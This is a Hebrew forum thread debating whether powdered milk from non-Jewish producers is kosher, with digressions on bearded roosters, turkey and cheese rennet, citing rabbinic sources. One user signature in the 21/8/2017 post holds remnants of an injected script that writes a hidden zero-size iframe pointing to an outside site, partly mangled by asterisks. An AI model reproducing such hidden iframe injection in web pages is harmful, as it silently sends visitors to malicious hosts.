בית פורומים עצור כאן חושבים

אבקת חלב נוכרי

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-8/8/2017 13:36 לינק ישיר 
אבקת חלב נוכרי

רציתי לברר משהו.
יש טענה שמתירים אבקת חלב נוכרי בלי קשר להיתר המפורסם של הרב פיינשטיין בקשר לחלב נוכרי בכלל.
הטענה היא שההיתר הוא מצד בריה חדשה.

אז קודם כל רציתי לדעת עם זה נכון.

אם כן , האם זה לא אומר שהאבקה הזו היא פרווה?


נשלח מהאנדרואיד שלי




דווח על תוכן פוגעני

מחובר
נשלח ב-23/11/2018 10:32 לינק ישיר 

תלמיד לא רק הרב פיינשטין התיר חלב נכרי גם החז'א יו'ד מד. למצאו נקודת זכות בחב'ד - אבקת חלב נכרי אסורה כנראה בגל בישול עכו'ם.- (אני לא בטוח שהם חשבו על כך כשאסרו).



דדווח על תוכן פוגעני

מנותק
נשלח ב-18/11/2018 22:48 לינק ישיר 

לשאלה הפותחת. : יש היתר כללי של הרב פיינשטיין להיתר חלב שנחלב על ידי גוי, משתי סיבות, אחת; החלב פרה עולה היום זול יותר מחלב טמא ואין חשש שיערבו אותו וימכרו אותו כחלב פרה, . סיבה שניה ; שיש פיקוח
הדוק של המדינה על מרכיבי המוצרים וזה כבר נכנס בגדר מירתת. שהגוי מפחד לעבור על החוק ולקבל קנס. 

בנוסף לזה אבקת חלב הותרה אף על ידי פוסקים מחמירים, מצד שפנים חדשות באו לכאן, ויתכן אף שבמציאות לא ניתן להפיק אבקה מחלב בהמה טמאה.

לכן במוצרים נרשם חלב נכרי , או אבקת חלב נכרי, שבאבקה יש סיבות נוספות להתיר. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 23:37 לינק ישיר 

מיימוני כתב:

נישטאיך

ברוך השב!!

איך למדנו תורה ואתה היית בחוץ? (ע"פ הגמרא כמובן).

עכשו אני מחכה לאשכול על עוף הבראקלי והמקורות! בבקשה! תחסוך לי זמן...

_________________

שומר פיו ולשונו - שומר מצרות נפשו< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



יפה שאתה מברך את חברך אחרי שובו, אבל למה זה צריך לגרור את הכנסת המחלוקת ההזויה על התרנגול המזוקן לתוך השרשור שלי.
שיפתח שרשור חדש על המלחמות בין הכשרות של העידה לעשרות של לנדאו.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 22:54 לינק ישיר 

החיוב לא לאכול עוף על-פי סימני טהרה אלא אם יש עליו מסורת שהוא טהור, מקורו בפירוש רש"י לחולין סב:, וכן פסק הרמ"א. תרנגול הודו הותר בדיעבד לאחר שהציבור נהג בו היתר, כי כבר הוחזק להיתרא ואין ראיה לאוסרו, ומשום שבא"י נהגו לאוכלו.




תוקן על ידי מם80 ב- 21/08/2017 22:54:55




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 21:08 לינק ישיר 

הבעיה בעוף החדש- כי אין לו מסורת שחיטה. והשאלה איך התירו את תרנגול ההודו?
ויש לישב את חיוב למסורת שחיטה חידש הפרי מגדים
.גילוי אמריקה ותרנגול ההודו היו לפניו.



דדווח על תוכן פוגעני

מנותק
נשלח ב-21/8/2017 18:56 לינק ישיר 

ועוד משהו קטן לגבי העיסוק המופרז בתרנגולים:



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 18:55 לינק ישיר 

מזכיר לי את מחקרו המפורסם של קליפורד גירץ על התרנגולים באי בָּאלי... וזהו סיכומו:

פניה של באלי מתגלים בזירת התרנגולים. כי הנלחמים בה הם רק למראית עין תרנגולים. לאמיתו של דבר הם גברים... עובדת היותו של התרנגול סמל זכרי מובהק אינה מוטלת בספק, ולדידם של הבאלינזים היא גם ברורה מאליה, לא פחות מן העובדה שהמים זורמים במורד.

ומצ"ב הקטע המלא, שלו הייתי I_N_RUBIN הייתי מצטטו כלשונו, אבל יש דברים שרק אלהים (או רובין) יכול... 




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 15:46 לינק ישיר 

נישטאיך כתב:

ברוכים הנמצאים

פורום: עצור כאן חושבים - זן ה'שבו' כשר או לא – בחדרי חרדים

מה לדעתכם חשב התרנגול המזוקן, כשראה את הרבנים מביטים בו?



תוקן על ידי נישטאיך ב- 21/08/2017 12:48:35





כנראה שהוא מביט בהם כתרנגולים בבני אדם בדיוק כמו בני דודיו  העושים זאת כל שנה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/8/2017 12:35 לינק ישיר 

ברוכים הנמצאים

פורום: עצור כאן חושבים - זן ה'שבו' כשר או לא – בחדרי חרדים

מה לדעתכם חשב התרנגול המזוקן, כשראה את הרבנים מביטים בו?



תוקן על ידי נישטאיך ב- 21/08/2017 12:48:35




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/8/2017 09:05 לינק ישיר 

נישטאיך
ברוך השב !



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/8/2017 21:31 לינק ישיר 

ספרן

איקון ירוק - תודה!



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/8/2017 10:03 לינק ישיר 

בינתיים תתחיל כאן ועיי'ש  באוצה'ח האשכול כולו:

עופות מזן חדש/ישן ללא חשש הכלאות

הודעהעל ידי פלוריש » ד' אוגוסט 02, 2017 1:43 pm

לא זכיתי עדיין להבין בעניין זה כלל, אבל אני מעלה מאמרים שקיבלתי
(חלקם קשורים לסוגיה הכללית, ולא לעופות הספציפיים שדיברו עליהם באשכול זה)



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/8/2017 09:55 לינק ישיר 

נישטאיך

ברוך השב!!

איך למדנו תורה ואתה היית בחוץ? (ע"פ הגמרא כמובן).

עכשו אני מחכה לאשכול על עוף הבראקלי והמקורות! בבקשה! תחסוך לי זמן...

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/8/2017 07:23 לינק ישיר 

נעלמתי מהפורום למשך זמן, מפני ששכחתי את סיסמתי, ונתקלתי בקשיים להחזירה לי.

 תודתי לאלה שניסו לסייע לי להחזיר את סיסמתי, ולאלה שהחזירו לי אותה.

_________________

 מיימוני

 <יש לברר אם ניתן להפוך חלב טמאה לאבקת חלב...>

 אין שום סיבה שלא יהיה ניתן להפוך חלב טמאה לאבקת חלב; אם כדי להפוך חלב לאבקת חלב בס"ה מייבשים את הנוזלים שבחלב, למה שלא נוכל לייבש את הנוזלים שבחלב בהמה טמאה.

<כך לא היה אפשר לייצר גבינה או חמאה אלא מחלב (בהמה טהורה?), וזה השתנה עקב מציאת חומרי עזר חדשים. מפי השמועה>

בחיפוש בגוגל תמצא על אבקת חלב חזירים וגבינות גמלים וחזירים.

 גם בעבר היה אפשר לייצר חמאה מחלב בהמה טמאה, ראה החיד"א, שו"ת חיים שאל, חלק א, סי' מג:

 "שאלת ממני ידיד נפשי כי שמעת דיש מפקפקין דאפשר להיות בחמאה חלב טמא ובעיניך הדבר קשה דגמירי דחלב טמא אינו מקפיא ורצית להודיעך אם יש ממש בשמיעה זו או לא".

_________________

קירטון

<הגבינה אסורה מחשש שהיתה בקיבת בהמה טמאה>

דבריך הם טעות שטועים בה רבים.

אין פירוש ש"העמידוה בקיבת נבילה"-שהניחו את הגבינה בקיבת בהמה טמאה, אלא שפי' "העמידוה" הוא, שהניחו את קיבת הנבילה בתוך החלב, כדי שהאנזימים שבקיבה יגרמו לחלב להפוך לגבינה.

 https://he.wikipedia.org/wiki/%D7%90%D7%A0%D7%96%D7%99%D7%9D_%D7%94%D7%92%D7%91%D7%A0%D7%94

 העמידוה=גבנו את החלב

כשם שאין גבינה שהעמידוה בעשבים או במי פירות אסורה, מפני שאת הגבינה הניחו בתוך עשבים או מי פירות, כך גם "העמידוה בקיבת נבילה", אין פירושו שהניחוה בתוך קיבת נבילה.

ראה רמב"ם הלכות מאכלות אסורות, פרק ג, הלכה יד:

 "גבינה שמעמידין אותה העכו"ם בעשבים או במי פירות כגון שרף התאנים והרי הן ניכרין בגבינה הורו מקצת הגאונים שהיא אסורה שכבר גזרו על כל גבינת העכו"ם בין שהעמידוה בדבר אסור בין שהעמידוה בדבר המותר גזירה משום שמעמידין אותה בדבר האסור".

אם תשאל: אפילו גם אם העמידוה בקיבת בהמה כשרה, מדוע לא נחשוש לכשרות הגבינה משום בשר בחלב;  ראה רמב"ם, הלכות מאכלות אסורות, פרק ט, הלכה טז:

"אסור להעמיד הגבינה בעור הקיבה של שחוטה, ואם העמיד טועם את הגבינה אם יש בה טעם בשר אסורה ואם לאו מותרת מפני שהמעמיד דבר המותר הוא שקיבת שחוטה היא ואין כאן אלא איסור בשר בחלב ששעורו בנותן טעם, אבל המעמיד בעור קיבת נבילה וטרפה ובהמה טמאה הואיל והמעמיד דבר האסור בפני עצמו נאסרה הגבינה משום נבלה לא משום בשר בחלב, ומפני חשש זה אסרו גבינת עכו"ם כמו שביארנו".

 גם ראה בית יוסף, טור יורה דעה, סי' פז.

 _________________

 את תשובות הרצ"פ  פראנק בענין אבקת חלב, ("הר צבי", סימנים קג-קד), ראה כאן: 

 http://www.hebrewbooks.org/pdfpager.aspx?req=22460&st=&pgnum=109&hilite

 _________________

 יש3

 <גזרת חלב נוכרי...".

אם איסור חלב עכו"ם הוא מגזירה, או מחשש לכשרות החלב ללא גזירה, ראה אנציקלופדיה תלמודית, כרך טו, ערך "חלב של גוי", טור קעא.



תוקן על ידי נישטאיך ב- 20/08/2017 08:18:17




דדווח על תוכן פוגעני

מנותק
נשלח ב-10/8/2017 18:03 לינק ישיר 

ת"ט
מה לא הבנת?
גזרת חלב נוכרי לא הייתה על כל דבר חלבי אלא רק על חלב (וגבינה היא גזרה נפרדת). זה ממש לא אומר ששינוי צורה הופך את זה ללא חלבי.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > אבקת חלב נוכרי
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext